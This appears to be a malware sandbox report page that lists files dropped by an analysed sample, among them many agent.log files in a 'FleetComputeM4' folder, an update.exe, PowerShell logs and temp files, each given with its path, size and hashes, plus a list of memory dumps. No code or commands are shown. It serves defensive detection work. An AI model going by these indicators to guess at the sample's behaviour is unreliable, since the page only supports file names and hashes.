SHA512 17baae3dd5c9cde9cbb8c44cd21bf4541cb4052bc20ede28e858df384b60f3fa9b7638d076f5646ce1d26dc88fd0ccf9ded89d622688d5c14928113c5bfa8aac
TLSH
T1B73169D1B15B811EBCA37F3185E3D7D0D9A9C423CDAE45F0A0B1672B00141A34EE69B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 86862f4383ba7cb35a2afc2153d90d1c8f7b143ecba89ddd0692ec59bca2460b
MD5 5e678be5bd3f263afe8e1abe9d4daff2
SHA1 18bbcea8292cea679ea7ad1a1c0d36731f5301d9
SHA512 b6011d4490116ade2a623f92741a9ce3df58d170675e7ff779bcc2e2cc34033871af202726fd60a8ccc44437a3f11b244e6c5d1eaa728c50cf2504f54d00d01c
TLSH
T1EC3146E1B15B815EB8A37F3185E7D7D0D9AAC423CDAE45F0A0B1672F00141A34EE69B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 fe928424c83ab3f5ffd502e69494846da93a03b09ec049cf56bf168c5c9fad93
MD5 b4b452345beabae4e99a4e4260e75c74
SHA1 d7bca18135702fdddbf69b32a5f6ef30d0093049
SHA512 e8774ee71805e9caa69c8c1166718fc6db950377f700454996fbc171d70396fdbb997c769b6b7253727a1417f0721f64544166d9f3180a85d0b83fb2e07ade0f
TLSH
T1643168D2B25B815EB8B37B3191E3D7D0C9AAC423DDAD44F0A0B1631F00156A34EE25B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 49a12e6027930627f3fbab973983303080d7067cb6248b5029cb35d5d8b7d320
MD5 4099035a0d684e83072d63e3c7886a67
SHA1 cd151a79b333a7165b5db82b01b2493a6a4f6e54
SHA512 aa4c79d5bb0529deadb6f1ae991e896b3cf67412ca3c12c056dc803df73762924659c602fba96f72c20091d89fabfa551805a829204f26eb2f1aeff16b805c32
TLSH
T100317BD2B25B851E79A37B3181E3D7D0C9AAC413DDAD84F4A0B5632F00152A34EE25B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 545B
SHA256 cb0402068b6f3e3863f965ea3553c209843036be15be24caa08f6eda6a9b785a
MD5 a131e21e2560c584d35d6c37d94555bd
SHA1 39edac8a2f5625dc75210d7e73d73f6f0de20526
SHA512 d55dbfe18416e52ee1181c793abb15432f0bdc796ef0e5c0fafefdfee76385843227769d3a1f1e496267fcf3126b7ffb41e5d70d8038709bec173c87add39a9a
TLSH
T119F024D1B18B802F7CB7173206EBDAD458BD4417CD899EF4B2E1D22B10744660E9ABB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 5d1ee13ba946eeea18709d567fc9f6e5539851be2a0dc542afd1d9a7cfc0aa19
MD5 c7267e37867693a9a3551ea5fa374cd0
SHA1 14078147451052e663b1eaf1a76d92bfa72ed335
SHA512 00c75cc9101b67db6aa50fb5339bcec3ae9394b1904f6ecb1bc25e191f065535f3b2af3bdaba3c0f702d5ca9bd1b0d94fccf0a3dfa84165812ff65e15036f9f9
TLSH
T17A41AAD2B25B851E79B37B3191E3D7D0C9AA8023DDAD80F4A0B4632F00152A34EE25B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 11f713d3ae89953905277f78341fc95ec683c4660de0ef0cbae1d5127a1d377e
MD5 00e173e0ac08290a43851529eb8e335a
SHA1 a041349ba034ceba921175243feb68845c146a60
SHA512 7670a7662fbfbbcb32a172032ca6d49086460839412209daa3c24f0b39331701af5084f7cdcf0c9ed55728f171879be55a3efe4571d157aa953bf86379fc9ac4
TLSH
T191417AD2B25B851E79A37B3191E3D7D0CAAA8013DDAD80F4A0B5632F04152A75EE35B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 6d9d67fcc49bf1887170201d56a73305bb50f6044dd0f26d8912cff968387412
MD5 fa1d9729778866c10a975f2e99488e02
SHA1 045385fa4ba4c071ed13ead4b4c5e4fb1b804d91
SHA512 236a8e00236b8bc5d2eb2f4b04c8660d1971bf8205d7e79bf6337c226a479ee3631f9a08b4537045ff4e415c6f039b31f8a5b6a1f357de18659cfbdfd56cafb3
TLSH
T197418BD2B25B851E79A37B3191E3D7D0C9AA8013DDAE80F4A0B5631F04152A75EE35B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 583B
SHA256 48c081e55cac941ca59f3cc3e3dc9daa4998da69e82312f769bf44ab6be03cf8
MD5 9a012db38e12c8b9efd916c482a2dd16
SHA1 70614a67f58a052b448b52159e2df95b15d45249
SHA512 9e5f37a70c719ded38b7dd8e415e56699644cf8a8a6e452020590b354fbc3e9fc9b35b86550caef7efc31fc51c42c549c92692e9871fe9c58ceeccf8dbdc78d4
TLSH
T10DF046C0F18B801F7CA3173206E7DAD498788417CD899EF4B2E1D32B10744660D96BB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 9b1ae9dd986ef4a1a0e9aee019dad9b6ee6259fbf4724b60815f6b6699170da5
MD5 8f8912e3cddbab8c61da2b65e97b014f
SHA1 5ddc3dd78d9bcfcd2e70075b17e4ce043062db58
SHA512 cc8c3f974532e79ca758e57bf975f8b099a6b7e6cbafa51106f7aede456055b6fbedca63f67f0e9156e18b7691909a5e1c7bfde584cb67dd227b4c4f02039c98
TLSH
T11E41AAD2B24B851E7AB37B3191E3D7D0C9AA8013DDAE80F4A0B5231F04152A71EE35B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 778B
SHA256 632e85906102640e4264b82d0bc76f8c3b234f79f83bcf791b45b536307f7dfd
MD5 228624270b83d874a9152e7cf73209f3
SHA1 4639db93f5cebd52cefe4d0136e602e5ce110b5a
SHA512 ed466dd7cf4eb45bac591692c6b356cdd3a1eec0f6c0207a4b46b7953b7e2e419bb089ee8f3fb2be984441e39c26349fe8f5fffe3a6852487c6eae1067a2f753
TLSH
T16D012DD1F18B411FBCA36B3209E7DBD4D5A98527CD9D5AF0B1A1A32B00744A20DD5AB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 917B
SHA256 01d7d2fff85160e0d20003162070567a81df6729ad9ba31e56f24211e187248f
MD5 5f2a181ec8f814dd8d95be21a101e260
SHA1 6e6d8ad56a738426f6174c294928e42d1e1c79a0
SHA512 2dd045b14b1b6a29614bf17d8f3fae8987bc36637427f14cc9b02b4effd63abe8e9bdce67104a3b9b7fe044b5b29015ff7f16c4bbc1dcf94d8fd2b51bdd15d5e
TLSH
T1AE118CD1B15B514FBCA36B3109E7DBD4D5A9C127CD9E59F0B1A2A32B00640A30DE6AB3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1021B
SHA256 f35ecb2378b5ae1cae813e7fdc00d67a8c0876caaef3dcd9c4a26b2a9d7caaf0
MD5 eeca9641c1b41e1826d7bab1fc15f22b
SHA1 2d531c1dd8184ee73fa582f85bfc44614e4d0588
SHA512 9c27cacf7a9bf4c27d6a1f36986eef204615193f1771666e6bd0b7d353d959cabb19ef02fad15ef5c7223b2ab53105ab10056aadbf8d31650b7ebabadfda483d
TLSH
T184113BD1B05B514FBCE26F3146E7DBD4D9998027CD9E59F0B1A1A72B00640A20DE6A73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 ed0f846651303a0993fde1541b3545944f8fc1ab3c042fa35e24dc782139773b
MD5 1b2ef3162514395d3da839c0d468e8ff
SHA1 71fe0e15b07cba28cc01871016a4d8822b7100a6
SHA512 f94c5561aa9d7277c83dd1547b45c3a99df832dc4017912e390c25a242945e21524c53f0327349ee826845cbdb592c002da93819f5b7d5baa3c28143e2b90b16
TLSH
T176115CD1B05B510FBCE26F3146E3DBD0D9A98023CDDE59F0B1A1A72B00241A20DE5A73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 37936561316aebc02723d2fabe10561a1f8c27f124ccacd38451243d25ca7b16
MD5 fa658158dc9d9c05d14e9720822a8e48
SHA1 330bbbd52e5644717d442c10ecd83ee2885c7340
SHA512 85468b4d2994dfd31c3171a3b7ebb226be91fcb19db9384259fc23ed835d96f7ba3cc75fed0b654763da9804cc5994ab5e25c8bbbca212a955bd1d50508524c7
TLSH
T1C6216BD1B15B415FBCE36F3146E3DAD0D9A98423CDDE59F0A0A1A72B00241A30DE6A73
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 377B
SHA256 e05694009c04f3f45a9599b1f65f08af88e0dec9d4aacb503a552ce3df936ee8
MD5 1c51dbb2f99e1deb84dd19681ae15bdc
SHA1 066722cd32f00e72255f9e8682fd0f925996966b
SHA512 ec2da3eef16381004ec28fc930381eee550371257b3da9533a303e91e72b2073a216a92473caad4b77e28efd79636f2a7ff1fafc76d70216629c780681b64d44
TLSH
T15CE022D1B1CB402E3C77133303ABDAC454BC080B8E496DF0A2E1C52700744160986A33
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 e9607aeaf72081ea07d840039bcbe91e755e4826815c6b757cd356f36f2ed12d
MD5 dc255036b50a4bb017f3654f13d0b0b4
SHA1 c333b6424e00f1edd64325f4a74b2c375ea0bf41
SHA512 9bb9fa8e160cd7396c7ac7986b02c29e199011dfab9fca241972b38b55c68c890a89af983e8b7e3c145f9c346ebf543bf01dd261fa0482785df50a5122527ce0
TLSH
T1962168C1B14B415EBCA36F3146E3D7E0D9A9C423CDDE45F0A1B1A72B00681A30DE2A73
MD5 SHA1 SHA512 TLSH

Submit Download

update.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\update.exe
Size 497KB
SHA256 59e42a51c349673e37a77459c054e196fe88bae512be6235f87297c3e62c1f15
MD5 499523c297a67ac534cbe545ceda4990
SHA1 b2f41b37f23cacca7f449c75f0f81537c34b05d2
SHA512 ab9f544fcc7fe1ab1bdf4fe7b94ea8bd7ba02817110f4423db2267563c37f41f10323fc3d2345e53af6c7feba155899cd39cb51ed841f05e346b73c0fca90dbd
SSDEEP 3072:3BvmLhmm7H89r/1j1dPoGWvrXS6p0wFAxLPTuWGX+ceu+F+ScADcAV:3lahEVdj1divn+dTuWWex
TLSH
T194B420065E0BC8DDEBA2947460FBC4F492317D8C49E5908E6CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 6712a3453102663e76e87ab180d378805370b12fa177b45f720cedcb88b0d1e0
MD5 a3951f01e59e93fb760b5a4a81468596
SHA1 e2777f01d601ed1d6b5d739304dc34ff73194b07
SHA512 6f549a6e4d5db05debd91fdb83ff49b7e467e583a0609667a587e7d67067d332a0a4f375a9219670e4e3d7c5798bcce0146edb70f289ca64f57633cb87fd38a5
TLSH
T1CC81CE323275B0D4C8567F07292819D063BF4396EA98AF4CB25C621ED92751BDB122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcc995d7662aaa449522a24a4929ab5d1b217e0ece08321228fb88f442170c66
MD5 b3cef1bdd542d2435809f975d7b75fcd
SHA1 ab448c53f46f65d1a3d10852f16bde25543704d8
SHA512 21d56654a962c3ff563b5973305d2bcfa52effbd48beecc87a0719e3d82381b1e0d0b218ceb1b645253046560e9b9bfb51bee87413fa84cc6a9beca072aeb83a
TLSH
T119216727B39C8821DCD9253A209C9C1072B682C7819ECF9F6FC4D615A57F6D8CB62694
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu2.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt
Size 74B
SHA256 03e36a7bc83747c8229ffc9746a2af78141750b0cd27080734b1ee9e7d2328af
MD5 a4b6ae06cd21630235e6c42218ea7e93
SHA1 a20dcae27d147b591edf460d698fb26bc362e78f
SHA512 67b1058f571e2241aaf5ada9abda9ab3691d99901de35ec46007f66dc4a49135ee7ddb25770d2adcf6322e446fb4ca9941a868927aa3e15eb24b289463a17f3d
TLSH
T18AA02220020EE00008832300B0320828C3F3C3F0000800CC3B02F02F0F0200C2B828AC
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu4.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt
Size 43B
SHA256 c62ab326b8361707c05e3602dc2fcc36f90e3d47f6c260a361640b1d18d2f645
MD5 cf692509f242c9f29ad15e735d2843d7
SHA1 d70f0c7dad8efc1997178328978af344f5244ba0
SHA512 d354661bcdd45891d8c81157cee4c01a6d029a940d020f5bcf1dfefd01414afcb7a517973810134cbcc42178a790ec9d601e73b59c8ff7881295ab650f414dfe
MD5 SHA1 SHA512

Submit Download

agent_gpu1.txt

Path C:\Windows\TEMP\agent_gpu1.txt
Size 156B
SHA256 df2b5e73fdd2a467392cf98a9f6404efc4cd8b13c7db1b4426724172060c10da
MD5 02fba01515fb2a0e2bd7500d3f23f532
SHA1 c9ae50b4f0234476629c0b50bf1f1d3a1b1d584d
SHA512 3ab45318b56528d6f60a5929c609b3152bdd665ad5bc6cefcab01298426d3ecd9de9390d808d7c8976f4324d09c31a91618897ccd32e78cd13e4392c934f2ed5
TLSH
T150C08C1B32DC8214F0920288C3F10433A3123820943C469C30C6024390F2C0226436CB
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_npmtw14l.mlv.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_npmtw14l.mlv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu3.txt

Path C:\Windows\Temp\agent_gpu3.txt
Size 40B
SHA256 602dbbf4f8544fcc0676bafff15c4917ad8ae7db7f704d69b785749079262260
MD5 5899743b8ccb65ed2eca76a6a9215413
SHA1 b7b5e5b60ba8b0b78843c39f28e773cfe2bed8c9
SHA512 b50e80e46e15d6c62498165aa9194adb0fc80096e2d252c468255b76069d06cc7439658d2f393b172e6f07decffa3a4e5b214bff225a838029404d481b1096c8
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 340e239da1d1b2eaad5fd830cf45498beb4895fa01e7c4de4c5cf3b9b42961e0
MD5 ee0ad6190f26ded94b63821948da12d1
SHA1 868efe7b00afdcc3a3b753c051dd6549d1dd7780
SHA512 46c8dcfa307cd365eeeab8c129fdb765facd3a60e4df18c7570dc7ab4c7c5a1d38f3fbacfa06678ad831a89624fe3cda422a50226997c54ce56d53d1a4e3d145
TLSH
T1B081CD323275B0D4C8567F072A2C19D063AF4396EA98AF4CB25C621ED92751BDB122F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4444d5509274d8f11d2c0b8e2854c0bd55c741b2fa705b8198fb6cadf22c9bd6
MD5 124d1015e7f2dd4f044ac35f33a12312
SHA1 cedaa133475b8db89bace312caef11ea15eea99d
SHA512 f683f04d6a308bdff4e20f7d7b902fba89477213ad00ad7d02e5bd5bf00579987f3ffe4166375b7f3b6c8cf81da380df77ae97b0b928b9c30813fdefb59a5cff
TLSH
T17C216727B3ACC921DCDA123A209D9C10727683C7819ECF9F6AC0D625957F6D9CB62590
MD5 SHA1 SHA512 TLSH

Submit Download

memory/680-224-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/688-162-0x00007FF7973E0000-0x00007FF797488000-memory.dmp

Download

memory/856-204-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/968-178-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/968-219-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/968-184-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/968-163-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/1060-147-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/1496-223-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/1648-188-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/1844-189-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/1844-206-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/2104-66-0x0000018DCC980000-0x0000018DCC9A4000-memory.dmp

Download

memory/2104-65-0x0000018DCC980000-0x0000018DCC9AA000-memory.dmp

Download

memory/2464-157-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/2976-122-0x000001B9C5320000-0x000001B9C533C000-memory.dmp

Download

memory/2976-116-0x000001B9C50F0000-0x000001B9C51A5000-memory.dmp

Download

memory/3136-45-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/3208-75-0x000002334B7F0000-0x000002334B8A5000-memory.dmp

Download

memory/3208-74-0x000002334B7D0000-0x000002334B7EC000-memory.dmp

Download

memory/3208-79-0x000002334B8B0000-0x000002334B8BA000-memory.dmp

Download

memory/3208-50-0x000002334B420000-0x000002334B442000-memory.dmp

Download

memory/3484-171-0x00007FF7D9290000-0x00007FF7D9338000-memory.dmp

Download

memory/3484-164-0x00007FF7D9290000-0x00007FF7D9338000-memory.dmp

Download

memory/3956-142-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/4000-198-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/4608-225-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/4716-40-0x00007FF6C5AB0000-0x00007FF6C5B58000-memory.dmp

Download

memory/5060-208-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/5060-186-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download

memory/5060-183-0x00007FF6F6B60000-0x00007FF6FB5D1000-memory.dmp

Download